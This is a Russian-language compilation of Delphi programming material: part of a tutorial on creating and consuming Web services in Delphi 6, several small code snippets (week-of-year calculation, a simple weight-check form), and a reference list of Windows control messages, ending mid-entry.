Заметим, что в ряде случаев можно не использовать WSDL-описание, а просто указать URL Web-сервиса в свойстве URL и ввести свойства Service и Port вручную.
Следующим шагом будет создание пользовательского интерфейса нашего клиентского приложения. Он несложен: поле для ввода исходного значения, метка для вывода результатов и кнопка, нажатие на которую инициирует обращение к Web-сервису.
Обработчик события, связанного с нажатием на кнопку, содержит код для обращения к Web-сервису. Он имеет вид:
procedure TForm1.Button1Click(Sender: TObject);
begin
Label1.Caption := ' Degrees Fahrenheit is equal to ' +
FloatToStr((HTTPRIO1 as
Temperature_ctemperaturePortType).FahrenheitToCelsius(StrToFloat(Edit1.Text)))
+ ' Degrees Celsius';
end;
Теперь можно сохранить проект, скомпилировать приложение и протестировать его.
Итак, мы научились создавать приложения, использующие Web-сервисы. В следующем разделе данной статьи мы рассмотрим, как создавать сами Web-сервисы.
Создание Web-сервисаСоздать простейший Web-сервис (наподобие того, что мы использовали) с помощью Delphi 6 ненамного труднее, чем создать клиентское приложение. Дабы излишне не усложнять задачу, в качестве примера создадим очень примитивный Web-сервис, который просто умножает два числа. Для тестирования Web-сервиса следует иметь Web-сервер с доступным каталогом для размещения исполняемых фалов (и, естественно, работающий под управлением Windows). Для этого нужно выбрать со страницы Web Services репозитария объектов пиктограмму Soap Server Application и выбрать тип Web-приложения, которое мы планируем создать. Тип Web-приложения зависит от того, каким Web-сервером мы планируем пользоваться и желаем ли выполнять наш Web-сервис в адресном пространстве Web-сервера. Если это так, то нужно создать его в виде библиотеки, а если нет, то в виде исполняемого файла (в нашем примере мы выберем эту опцию).
Выбрав тип приложения, мы получим объект TWebModule, содержащий три компонента:
THTTPSoapDispatcher, отвечающий за получение запросов с помощью протокола SOAP; THTTPSoapPascalInvoker, отвечающий за превращение этих запросов в вызовы методов объектов нашего приложения; TWSDLHTMLPublish, отвечающий за генерацию WSDL-файлов, содержащих описание реализованных в Web-сервисе интерфейсов, предназначенное для разработчиков клиентских приложений для данного Web-сервиса.Теперь можно приступить к созданию описания интерфейса Web-сервиса. Для этого просто создадим новый модуль и в нем опишем интерфейс IMult, содержащий единственный метод Multiply:
unit ws2;
interface
uses
InvokeRegistry;
type
IMult = interface(IInvokable)
['{8823BB66-C67C-483B-B985-529992F5F1F9}']
function Multiply(Num1: LongInt; Num2: LongInt): Longint; stdcall;
end;
implementation
initialization
InvRegistry.RegisterInterface(TypeInfo(IMult));
end.
Значение GUID для данного сервера можно сгенерировать в редакторе кода с помощью комбинации клавиш Ctrl-Shift-G.
И наконец, нам следует создать модуль с реализацией метода Multiply:
unit ws3;
interface
uses
InvokeRegistry, Ws2;
type
TMult = class(TInvokableClass, IMult)
function Multiply(Num1: LongInt; Num2: LongInt): Longint; stdcall;
end;
implementation
function TMult.Multiply(Num1: LongInt; Num2: LongInt): Longint;
begin
Result := Num1 * Num2;
end;
initialization
InvRegistry.RegisterInvokableClass(TMult);
end.
Сохранив и скомпилировав проект, скопируем полученное приложение в каталог Web-сервера, предназначенный для хранения исполняемых файлов (в случае если используются Internet Information Services в Windows 2000, соответствующим каталогом по умолчанию будет C:\Inetpub\Scripts).
Если теперь обратиться из Web-браузера к Web-сервису с параметром /wsdl — http://MAINDESK/scripts/ws.exe/wsdl, получим список реализуемых им интерфейсов. Один из них, IMult, создан нами, другой, IWSDLPublish, реализован в компоненте TWSDLHTMLPublish.
Щелкнув по ссылке, указывающей на интерфейс IMult, можно получить WSDL-описание нашего интерфейса IMult, которое используется клиентским приложением и потому помещается в доступное место в Internet. В нашем же случае мы просто сохраним его в файле.
Осталось протестировать наш Web-сервис. Сделать это можно разными способами, например обратиться к нему с Web-страницы, содержащей код на одном из скриптовых языков. Однако мы напишем клиентское приложение на Delphi, коль скоро мы уже умеем это делать. Как и в первой части данной статьи, создадим новый проект, выберем со страницы Web Services репозитария объектов пиктограмму Web Services Importer и укажем в качестве параметра WSDL or XML Schema Location (Filename or URL) диалогового окна Web Services Import путь к WSDL-файлу, который мы только что сохранили. Затем сошлемся на сгенерированный интерфейсный модуль из модуля, связанного с главной формой клиентского приложения. Поместим на форму компонент THTTPRIO, укажем в качестве значения его свойства WSDLLocation имя того же WSDL-файла, выберем из выпадающих списков значения свойств Service и Port и создадим простейший пользовательский интерфейс приложения.
Обработчик события, связанного с нажатием на кнопку, имеет вид:
procedure TForm1.Button1Click(Sender: TObject);
var
M: IMult;
begin
M := HTTPRIO1 as IMult;
Label1.Caption := '= ' +
IntToStr(M.Multiply(StrToInt(Edit1.Text), StrToInt(Edit2.Text)));
end;
Запустив клиентское приложение, можем убедиться, что наш Web-сервис вполне работоспособен.
Итак, мы научились создавать свои Web-сервисы с помощью Delphi 6 и тестировать их.
Заключение В настоящей статье мы рассмотрели создание с помощью Delphi 6 приложений, использующих Web-сервисы, а также создание самих Web-сервисов и убедились, что это не слишком сложно. В реальной жизни, наверное, не стоит создавать Web-сервис, перемножающий два числа, — существует много других, гораздо более интересных задач, решение которых стоит реализовать в виде Web-сервиса. Думается, они не заставят себя ждать.Показать исходный код Web-страницы в TMemo.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// You need a TMemo, a TButton und a NMHTTP
// Man braucht ein TMemo, einen TButton und eine TNMHTTP
procedure TForm1.Button1Click(Sender: TObject);
begin
NMHTTP1.Get('www.swissdelphicenter.ch');
memo1.Text := NMHTTP1.Body
end;
Число текущей недели.
| На конференции после обсуждения того, что компьютершики надули всех с "проблемой 2000", поимели с этого и тэдэ. Билл Гейтс буркнул про себя: - Рано радуетесь господа, я вам ТАААКУЮ проблему 2000 заготовил! Вот когда все её себе заинсталите - тада и посмотрим, хе-хе... |
function WeekOfYear(ADate: TDateTime): word; var day: word; month: word; year: word; FirstOfYear: TDateTime; begin DecodeDate(ADate, year, month, day); FirstOfYear := EncodeDate(year, 1, 1); Result := Trunc(ADate - FirstOfYear) div 7 + 1; end; procedure TForm1.Button1Click(Sender: TObject); begin ShowMessage(IntToStr(WeekOfYear(Date))); end; |
Число текущей недели 2.
function WeekNum(const ADate: TDateTime): word;
var
Year: word;
Month: word;
Day: word;
begin
DecodeDate(ADate + 4 - DayOfWeek(ADate + 6), Year, Month, Day);
result := 1 + trunc((ADate - EncodeDate(Year, 1, 5) +
DayOfWeek(EncodeDate(Year, 1, 3))) / 7);
end;
|
Число текущей недели 3.
function WeekOfYear(Dat: TDateTime): Word; // Интерпретация номеров дней: // ISO: 1 = Понедельник, 7 = Воскресенье // Delphi SysUtils: 1 = Воскресенье, 7 = Суббота var Day, Month, Year: Word; FirstDate: TDateTime; DateDiff: Integer; begin day := SysUtils.DayOfWeek(Dat) - 1; Dat := Dat + 3 - ((6 + day) mod 7); DecodeDate(Dat, Year, Month, Day); FirstDate := EncodeDate(Year, 1, 1); DateDiff := Trunc(Dat - FirstDate); Result := 1 + (DateDiff div 7); end; |
Контроль веса.
unit wtest;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
Edit1: TEdit; // поле ввода веса
Edit2: TEdit; // поле ввода роста
Button1: TButton; // кнопка "Вычислить"
Label3: TLabel; // поле вывода сообщения - рез-та работы программы
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
w: real; { вес }
h: real; { рост }
opt: real; { оптимальный вес }
d: real; { отклонение от оптимального веса }
begin
w := StrToFloat(Edit1.text);
h := StrToInt(Edit2.Text);
opt := h - 100;
if w = opt
then
Label3.caption := 'Ваш вес оптимален !'
else
if w < opt
then
begin
d := opt - w;
Label3.caption := 'Вам надо поправиться, на '
+ FloatTostr(d) + 'кг.';
end
else
begin
d := w - opt;
Label3.caption := 'Надо немного похудеть, на '
+ FloatTostr(d) + ' кг.';
end;
end;
end.
Что делает сообщение, какие значения используются для каждого поля сообщения и какие возвращаемые значения ожидаются или задаются Windows.
| Компьютер без Windоws, как рыба без велосипеда. |
Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Если селективная кнопка или блок проверки помечен, возвращается ненулевое значение. В противном случае, возвращается нуль. Для текстовой кнопки всегда возвращается нуль. bm_GetState Определяет состояние органа управления кнопки при нажатии кнопки мыши или клавиши пробела. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Если кнопка является подсвеченной текстовой кнопкой, на кнопке сфокусирован ввод и нажата кнопка мыши или клавиша пробела, или нажата кнопка мыши, когда курсор находится в кнопке, возвращается ненулевое значение. В противном случае, возвращается нуль. bm_SetCheck Помечает или удаляет отметку из селективной кнопки или блока проверки. Параметры: wParam: Для кнопок с двумя состояниями и блоков проверки при нулевом значении wParam отметка блока (если имеется) удаляется, в противном случае - добавляется. Для кнопок с тремя состояниями при нулевом значении wParam отметка блока (если имеется) и затенение (если есть) удаляются. Если wParam=1, то добавляется отметка. Если wParam=2, то кнопка затеняется. lParam: Не используется. Возвращаемое значение: Не используется. bm_SetState Изменяет состояние кнопки или блока проверки. Параметры: wParam: Если wParam = 0, кнопка или блок проверки рисуются нормальным образом. В случае ненулевого значения кнопка подсвечивается. lParam: Не используется. Возвращаемое значение: Не используется. bm_SetStyle Изменяет стиль кнопки. Параметры: wParam: Определяет новый стиль кнопки. См. раздел "Стили кнопок (bs_)" в главе 1 "Стили и константы Windows". lParam: В случае нулевого значения кнопка не будет перерисовываться сразу же. Если значение отлично от нуля и новый стиль кнопки отличается от текущего стиля, то кнопка будет перерисована. Возвращаемое значение: Не используется. cb_AddString Добавляет строку к блоку списка комбинированного блока. Параметры: wParam: Не используется. lParam: lParam является указателем на добавляемую строку, заканчивающуюся пустым символом. Возвращаемое значение: В случае успешного завершения возвращается индекс, с которым была добавлена строка; в противном случае, если не хватает памяти для записи строки, возвращается cb_ErrSpace, а если произошла ошибка, возвращается cb_Err. Комментарии: Если блок списка комбинированного блока не отсортирован, строка помещается в к онец списка. Если комбинированный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет стиля cbs_HasString, lParam является 32-битовым значением, которое запоминается вместо строки, и каждый добавляемый элемент сравнивается с другими элементами один или несколько раз через сообщение wm_CompareItem, посылаемое владельцу комбинированного блока. cb_DeleteString Удаляет строку из блока списка комбинированного блока. Параметры: wParam: Является индексом удаляемого элемента блока списка. lParam: Не используется. Возвращаемое значение: Если wParam является правильным индексом, возвращается количество оставшихся в списке элементов, в противном случае, возвращается cb_Err. Комментарии: Если комбинированный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет стиля lbs_HasString, то соответствующее 32-битовое значение удаляется и владельцу комбинированного блока посылается сообщение wm_DeleteItem. cb_Dir Добавляет к блоку списка комбинированного блока каждое имя файла из текущего справочника, соответствующее спицификациям файла и атрибутам файлов DOS. Параметры: wParam: Является атрибутом файлов DOS. lParam: Указатель на строку спецификации файла, заканчивающуюся пустым символом. Возвращаемое значение: В случае успеха возвращается индекс последнего элемента в результирующем списке; в противном случае, если не хватает памяти для сохранения элементов, возвращается cb_ErrSpace, или, в случае ошибки, возвращается cb_Err. cb_FindString Находит первый элемент блока списка комбинированного блока, соответствующий префиксной строке. Параметры: wParam: Является индексом, с которого должен начинаться поиск. Первым просматриваемым элементом является элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск продолжается с нулевого элемента до тех пор, пока индекс не достигнет значения wParam. Если wParam=-1, то просматривается весь список, начиная с нулевого элемента. lParam: Указатель на префиксную строку, заканчивающуюся пустым символом. Возвращаемое значение: В случае успеха возвращается индекс первого совпадающего элемента, в противном случае, возвращается cb_Err. Комментарии: Если комбинированный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет стиля cbs_HasString, то lParam является 32-битовым значением, которое сравнивается с каждым соответствующим 32-битовым значением в списке. cb_GetCount Возвращает число элементов в блоке списка комбинированного блока. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Число элементов в блоке списка. cb_GetCurSel Возвращает индекс текущего выбранного элемента в блоке списка комбинированного блока. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Если выбранного элемента нет, возвращается cb_Err; в противном случае, возвращается индекс текущего выбранного элемента. cb_GetEditSel Возвращает начальный и конечный индексы выбранного текста в органе управления редактированием комбинированного блока. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Если комбинированный блок не имеет органа управления редактированием, возвращается cb_Err; в противном случае, младшее слово возвращаемого значения представляет собой индекс начала, а старшее слово - индекс конца. cb_GetItemData Возвращает 32-битовое значение, связанное с элементом в блоке списка комбинированного блока. Параметры: wParam: Является индексом элемента. lParam: Не используется. Возвращаемое значение: В случае успешного завершения возвращается соответствующее 32-битовое значение; в противном случае, возвращается cb_Err. cb_GetLBText Копирует элемент из блока списка комбинированного блока в имеющийся буфер. Параметры: wParam: Является индексом элемента. lParam: Является указателем на буфер. Буфер должен быть достаточно большим для того, чтобы вмещать строку и заканчивающий ее пустой символ. Возвращаемое значение: Не используется. Комментарии: Если комбинированный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет стиля cbs_HasString, то 32-битовое значение, которое связано с элементом списка, копируется в буфер. cb_GetLBTextLen Возвращает длину в байтах элемента в блоке списка комбинированного блока. Параметры: wParam: Является индексом элемента. lParam: Не используется. Возвращаемое значение: Если wParam верный индекс, то возвращается длина элемента с этим индексом; в противном случае, возвращается cb_Err. cb_InsertString Вставляет строку в блок списка комбинированного блока без сортировки. Параметры: wParam: Если wParam=-1, то строка добавляется в конец списка. В противном случае, wParam используется как индекс вставки строки. lParam: Указывает на вставляемую строку, заканчивающуюся пробелом. Возвращаемое значение: В случае успешного завершения возвращается индекс, по которому была вставлена строка; в противном случае, если не хватает памяти для сохранения строки, возвращается cb_ErrSpace, или, в случае ошибки, возвращается cb_Err. cb_LimitText Устанавливает предельное число символов, которое может быть введено в блок списка комбинированного блока. Параметры: wParam: Определяет новое максимальное число символов. В случае нулевого значения предел отсутствует. lParam: Не используется. Возвращаемое значение: В случае успешного завершения возвращается ненулевое значение, в противном случае, возвращается нуль. Если в комбинированном блоке нет органа управления редактированием, возвращается cb_Err. cb_ResetContent Удаляет все элементы из блока списка комбинированного блока. Параметры: wParam: Не используется. lParam: Не используется. Комментарии: Если комбинированный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет стиля cbs_HasString, то владельцу комбинированного блока для каждого элемента посылается сообщение wm_DeleteItem. cb_SelectString Выбирает первый элемент блока списка комбинированного блока, соответствующий префиксной строке, и обновляет орган управления редактированием комбинированного блока или орган управления статическим текстом для отражения выбора. Параметры: wParam: Является индексом, с которого должен начинаться поиск. Первым просматриваемым элементом является элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск продолжается с нулевого элемента до тех пор, пока индекс не достигнет значения wParam. Если wParam=-1, то просматривается весь список, начиная с нулевого элемента. lParam: Префиксная строка, заканчивающаяся пустым символом. Возвращаемое значение: В случае успешного завершения возвращается индекс первого совпадающего элемента, в противном случае, возвращается cb_Err и текущий выбор не изменяется. Комментарии: Если комбинированный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет стиля cbs_HasString, то lParam является 32-битовым значением, которое сравнивается с каждым соответствующим 32-битовым значением в списке. cb_SetCurSel Выбирает элемент блока списка комбинированного блока, соответствующий префиксной строке, и обновляет орган управления редактированием комбинированного блока или орган управления статическим текстом для отражения выбора. Параметры: wParam: Является индексом элемента. Если wParam=-1, то выбранного элемента нет. lParam: Не используется. Возвращаемое значение: Если wParam=-1 или является неверным индексом, возвращается cb_Err; в противном случае, возвращается индекс выбранного элемента. cb_SetEditSel Устанавливает выбранный текст в органе управления редактированием комбинированного блока. Параметры: wParam: Не используется. lParamLo: Определяет индекс начального символа. lParamHi: Определяет индекс конечного символа. Возвращаемое значение: В случае успешного завершения возвращается ненулевое значение: в противном случае - нуль. Если комбинированный блок не имеет органа управления редактированием, возвращается cb_Err. cb_SetItemData Устанавливает 32-битовое значение, связанное с элементом в блоке списка комбинированного блока. Параметры: wParam: Является индексом элемента. lParam: Новое 32-битовое значение, которое будет связано с элементом. Возвращаемое значение: В случае ошибки возвращается cb_Err. cb_ShowDropDown Делает видимым или невидимым выпадающий блок списка комбинированного блока. Параметры: wParam: Если wParam равен нулю, то выпадающий блок списка является невидимым, в противном случае, он является видимым. lParam: Не используется. Возвращаемое значение: Не используется. Комментарии: Это сообщение применимо только к комбинированным блокам, созданным со стилями cbs_DropDown или cbs_DropDownList. dm_GetDefID Возвращает стандартный идентификатор органа управления текстовой кнопки диалога. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Если стандартного идентификатора органа управления текстовой кнопки диалога нет, старшее слово возвращаемого значения равно нулю; в противном случае, старшее слово возвращаемого значения равно dc_НаsDстандартному идентификатору текстовой кнопки. dm_SetDefID Устанавливает стандартный идентификатор органа управления текстовой кнопки диалога. Параметры: wParam: представляет новый стандартный идентификатор текстовой кнопки. lParam: Не используется. Возвращаемое значение: Не используется. em_CanUndo Определяет, может ли орган управления редактированием ответить на сообщение em_Undo. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Если орган управления редактированием может ответить на сообщение em_Undo, возвращается ненулевое значение; в противном случае, возвращается нуль. em_EmptyUndoBuffer Делает пустым буфер отмены органа управления редактированием, который запрещает возможность отмены последнего редактирования. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Не используется. Комментарии: Посылка органу управления редактированием сообщения wm_SetText или em_SetHandle вызывает автоматическое обнуление буфера отмены органа управления редактированием. em_FmtLines Указывает органу управления редактированием, добавлять или нет специальную последовательность символа конца строки к строкам текста, в которых имел место перенос слов. Параметры: wParam: Если wParam отличен от нуля, то строки текста с переносом слов заканчиваются последовательностью "возврат каретки, возврат каретки, смена строки"; в противном случае, любая последовательность "возврат каретки, возврат каретки, смена строки" удаляется из текста. lParam: Не используется. Возвращаемое значение: Если текст был изменен, возвращается ненулевое значение; в противном случае, возвращается нуль. Комментарии: Это сообщение не влияет на обычную последовательность конца строки "один возврат каретки, смена строки". В случае ненулевого возвращаемого значения размер текста изменился. Это сообщение относится только к многострочным органам управления редактированием. em_GetHandle Возвращает описатель буфера органа управления редактированием. Буфер содержит текст органа управления редактированием. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Возвращается описатель буфера органа управления редактированием. Комментарии: Это сообщение может посылаться только органу управления редактированием, который был создан со стилем ds_LocalEdit. em_GetLine Возвращает одну строку из органа управления редактированием. Параметры: wParam: Номер строки; нумерация строк в органе управления редактированием начинается с нуля. lParam: Указывает на буфер, который должен содержать строку. Первое слово буфера является числом байт, которые должны быть переданы в буфер. Возвращаемое значение: Возвращается фактически переданное в буфер число байт. Пустой символ завершения к концу буфера не добавляется. Это сообщение относится только к многострочным органам управления редактированием. em_GetLineCount Возвращает число строк текста в органе управления редактированием. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Возвращается число строк текста. Комментарии: Это сообщение относится только к многострочным органам управления редактированием. em_GetModify Возвращает флаг модификации органа управления редактированием. Флаг модификации устанавливается, когда текст органа управления редактированием модифицируется путем ввода нового текста или изменением существующего, или когда органу управления редактированием посылается сообщение em_SetModify. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Возвращается флаг модификации органа управления редактированием. Ненулевое значение означает, что текст текст органа управления редактированием изменился, а нуль - нет. em_GetRect Считывает форматирующий прямоугольник органа управления редактированием. Параметры: wParam: Не используется. lParam: Указывает на структуру данных TRect, заполняемую этим сообщением. Возвращаемое значение: Не используется. em_GetSel Возвращает начальный и конечный индексы выбранного текста в органе управления редактированием. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Младшее слово возвращаемого значения представляет собой индекс начала, а старшее слово - индекс конца. em_LimitText Устанавливает предельное число символов, которое может быть введено в орган управления редактированием. Параметры: wParam: Определяет новое максимальное число символов. В случае нулевого значения предел отсутствует. lParam: Не используется. Возвращаемое значение: В случае успешного завершения возвращается ненулевое значение, в противном случае, возвращается нуль. em_LineFromChar Возвращает номер строки в органе управления редактированием, которая содержит индекс указанного символа. Параметры: wParam: Является индексом символа в органе управления редактированием или равен -1. lParam: Не используется. Возвращаемое значение: Если wParam=-1, возвращается номер строки, содержащей первый символ в выбранном тексте; в противном случае, случае, возвращается номер строки, содержащей индекс символа, указанный в wParam. em_LineIndex Возвращает индекс символа в начале строки в органе управления редактированием. Параметры: wParam: Определяет номер строки. Если wParam=-1, используется строка, на которой в настоящий момент находится знак вставки. lParam: Не используется. Возвращаемое значение: Возвращается индекс символа в начале строки. Комментарии: Это сообщение относится только к многострочным органам управления редактированием. em_LineLength Возвращает длину строки, находящейся в органе управления редактированием, которая содержит индекс указанного символа, в байтах. Параметры: wParam: Является индексом символа, находящегося в органе управления редактирования, или равен -1. lParam: Не используется. Возвращаемое значение: Если wParam=-1, то возвращается длина строки, на которой в настоящий момент находится знак вставки; в противном случае, возвращается длина строки, содержащей индекс символа wParam. Любой выбранный текст, даже находящийся через несколько строк, для задач этого сообщения игнорируется и в длину строки не включается. em_LineScroll Прокручивает орган управления редактированием. Параметры: wParam: Не используется. lParamLo: Число строк, прокручиваемых по вертикали. lParamHi: Число строк, прокручиваемых по горизонтали. Возвращаемое значение: Не используется. Комментарии: Это сообщение относится только к многострочным органам управления редактированием. em_ReplaceSel Заменяет выбранный текст в органе управления редактированием. Параметры: wParam: Не используется. lParam: Указывает на текст, заканчивающийся пустым символом, на который заменяется выбранный в данный момент текст. Возвращаемое значение: Не используется. em_SetHandle Устанавливает текстовый буфер органа управления редактированием. Параметры: wParam: Является локальным описателем текстового буфера для органа управления редактированием. lParam: Не используется. Возвращаемое значение: Не используется. Комментарии: Перед тем, как с помощью этого сообщения будет установлен новый текстовый буфер, предыдущий текстовый буфер должен быть считан с помощью сообщения em_GetHandle, а затем уничтожен с помощью функции LocalFree. em_SetModify Устанавливает флаг модификации органа управления редактированием. Параметры: wParam: новое значение флага модификации. lParam: Не используется. Возвращаемое значение: Не используется. em_SetPasswordChar Устанавливает символ, отображаемый вместо символов, набранных в органе управления редактированием, созданном со стилем es_Password. Параметры: wParam: Является либо новым отображаемым символом, или нулем; в последнем случае, фактически набранные символы отображаются как есть. lParam: Не используется. Возвращаемое значение: Не используется. em_SetRect Устанавливает форматирующий прямоугольник для органа управления редактированием и соответствующим образом вновь отображает текст. Параметры: wParam: Не используется. lParam: Указывает на структуру TRect, которая определяет новый форматирующий прямоугольник. Возвращаемое значение: Не используется. Комментарии: Это сообщение относится только к многострочным органам управления редактированием. em_SetRectNP Устанавливает форматирующий прямоугольник для органа управления редактированием без нового отображения текста. Параметры: wParam: Не используется. lParam: Указывает на структуру TRect, которая определяет новый форматирующий прямоугольник. Возвращаемое значение: Не используется. Комментарии: Используйте это сообщение вместо em_SetRect, когда текст должен быть воспроизведен позднее. Это сообщение относится только к многострочным органам управления редактированием. em_SetSel Определяет выбранный текст в органе управления редактированием. Параметры: wParam: Не используется. lParamLo: Определяет индекс начального символа. lParamHi: Определяет индекс конечного символа. Возвращаемое значение: Не используется. em_SetTabStops Устанавливает позиции табуляции органа управления редактированием. Параметры: wParam: Равен либо 1, числу позиций табуляции, либо 0. lParam: Если wParam равен 0, то позиция табуляции устанавливается через каждые 32 единицы диалога. Если wParam равен 1, то позиция табуляции устанавливается в каждой кратной lParam позиции в единицах диалога. В других случаях lParam указывает на целочисленный массив, состоящий по крайней мере из wParam элементов, каждый из которых больше предыдущего и является позицией табуляции в единицах диалога. Возвращаемое значение: Если были установлены все позиции табуляции, возвращается ненулевое значение; в противном случае, возвращается нуль. Комментарии: Текущая единица диалога составляет одну четвертую от единицы текущей ширины базы диалога, которая может быть получена с помощью функции GetDialogBaseUnits. Это сообщение многострочным органам управления редактированием. em_SetWordBreak Изменяет функцию разрыва слов органа управления редактированием. Параметры: wParam: Не используется. lParam: Является адресом экземпляра процедуры функции разрыва слов, создаваемой с помощью функции MakeProcInstance. Функция разрыва слов будет описываться следующим образом:
function WordBreakFunction(EditText: PChar; CurrentWord: Integer; EditTextCount: Integer): PChar;Имя WordBreakFunction не является литералом, функция может иметь другое имя. Параметр EditText указывает на текст органа управления редактированием. Параметр CurrentWord является индексом начала текущего слова в тексте. Параметр EditTextCount определяет суммарное число байт в тексте. Функция разрыва слов должна возвращать указатель на символ в начале следующего слова в тексте. Если текущее слово является последним, функция должна возвращать указатель на символ, находящийся сразу же за последним символом в строке. Возвращаемое значение: Не используется. Комментарии: Стандартная функция разрыва слов Windows определяет начало следующего слова как первый непустой символ после ряда пробелов. Это сообщение относится только к многострочным органам управления редактированием. em_Undo Отменяет последнюю модификацию текста в органе управления редактированием. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: В случае успешного завершения возвращается ненулевое значение; в противном случае, возвращается нуль и текст в органе управления редактированием не изменяется. Комментарии: Каждое изменение текста в органе управления редактированием записывается в буфер отмены. Условие неуспешного завершения этого сообщения является нехватка памяти для создания буфера отмены для самой операции отмены. lb_AddString Добавляет строку к блоку списка. Параметры: wParam: Не используется. lParam: lParam является указателем на добавляемую строку, заканчивающуюся пустым символом. Возвращаемое значение: В случае успешного завершения возвращается индекс, с которым была добавлена строка; в противном случае, если не хватает памяти для записи строки, возвращается lb_ErrSpace, а если произошла ошибка, возвращается lb_Err. Комментарии: Если блок списка не отсортирован, строка помещается в конец списка. Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля lbs_HasString, то lParam является 32-битовым значением, которое запоминается вместо строки, и каждый добавляемый элемент сравнивается с другими элементами один или несколько раз через сообщение wm_CompareItem, посылаемое владельцу блока списка. lb_DeleteString Удаляет строку из блока списка. Параметры: wParam: Является индексом удаляемого элемента. lParam: Не используется. Возвращаемое значение: Если wParam является правильным индексом, возвращается количество оставшихся в списке элементов; в противном случае, возвращается cb_Err. Комментарии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля lbs_HasString, то соответствующее 32-битовое значение удаляется и владельцу блока списка посылается сообщение wm_DeleteItem. lb_Dir Добавляет к блоку списка каждое имя файла из текущего справочника, соответствующее спицификациям файла и атрибутам файлов DOS. Параметры: wParam: Является атрибутом файлов DOS. lParam: Указатель на строку спецификации файла, заканчивающуюся пустым символом. Возвращаемое значение: В случае успешного завершения возвращается индекс последнего элемента в результирующем списке; в противном случае, если не хватает памяти для сохранения элементов, возвращается lb_ErrSpace, или, в случае ошибки, возвращается lb_Err. lb_FindString Находит первый элемент блока списка, соответствующий префиксной строке. Параметры: wParam: Является индексом, с которого должен начинаться поиск. Первым просматриваемым элементом является элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск продолжается с нулевого элемента до тех пор, пока индекс не достигнет значения wParam. Если wParam=-1, то просматривается весь список, начиная с нулевого элемента. lParam: Указатель на префиксную строку, заканчивающуюся пустым символом. Возвращаемое значение: В случае успешного завершения возвращается индекс первого совпадающего элемента, в противном случае, возвращается lb_Err. Комментарии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля lbs_HasString, то lParam является 32-битовым значением, которое сравнивается с каждым соответствующим 32-битовым значением в списке. lb_GetCount Возвращает число элементов в блоке списка. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Число элементов в блоке списка. lb_GetCurSel Возвращает индекс текущего выбранного элемента в блоке списка. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Если выбранного элемента нет, возвращается lb_Err; в противном случае, возвращается индекс текущего выбранного элемента. lb_GetHorizontalExtent Возвращает ширину в элементах изображения, на которую блок списка может быть прокручен по горизонтали. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Возвращается количество элементов изображения, на которое блок списка может быть прокручен по горизонтали. Комментарии: Это сообщение относится только к блокам списка, созданным со стилем ws_HScroll. lb_GetItemData Возвращает 32-битовое значение, связанное с элементом в блоке списка. 0Параметры: 0wParam: Является индексом элемента. lParam: Не используется. Возвращаемое значение: В случае успешного завершения возвращается соответствующее 32-битовое значение; в противном случае, возвращается lb_Err. lb_GetItemRect Считывает ограничивающий прямоугольник элемента блока списка в том виде, в каком он отображается. Параметры: wParam: Является индексом элемента. lParam: Указывает на структуру TRect, которая будет заполняться значениями из ограничивающего прямоугольника. Возвращаемое значение: В случае ошибки возвращается lb_Err. lb_GetSel Возвращает информацию о том, выбран блок списка или нет. Параметры: wParam: Является индексом элемента. lParam: Не используется. Возвращаемое значение: В случае ошибки возвращается lb_Err. Если элемент выбран, возвращается положительное значение; в противном случае, возвращается нуль. lb_GetSelCount Возвращает число элементов, выбранных в данный момент в блоке списка. Параметры: wParam: Не используется. lParam: Не используется. Возвращаемое значение: Если блок списка является блоком списка с многовариантным выбором, возвращается число выбранных элементов; в противном случае, возвращается lb_Err. lb_GetSelItems Возвращает индексы элементов, выбранных в данный момент в блоке списка. Параметры: wParam: Определяет максимальное число считываемых индексов элементов. lParam: Указывает на целочисленный массив, достаточно большой для содержания wParam индексов элементов. Возвращаемое значение: Если блок списка является блоком списка с многовариантным выбором, то индексы до wParam выбранных элементов помещаются в массив lParam, а возвращается суммарное число помещенных туда выбранных элементов; в противном случае, возвращается lb_Err. lb_GetText Копирует блок списка в имеющийся буфер. Параметры: wParam: Является индексом элемента. lParam: Является указателем на буфер. Буфер должен быть достаточно большим для того, чтобы вмещать строку и заканчивающий ее пустой символ. Возвращаемое значение: Не используется. Комментарии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля lbs_HasString, то 32-битовое значение, связанное с элементом списка, копируется в 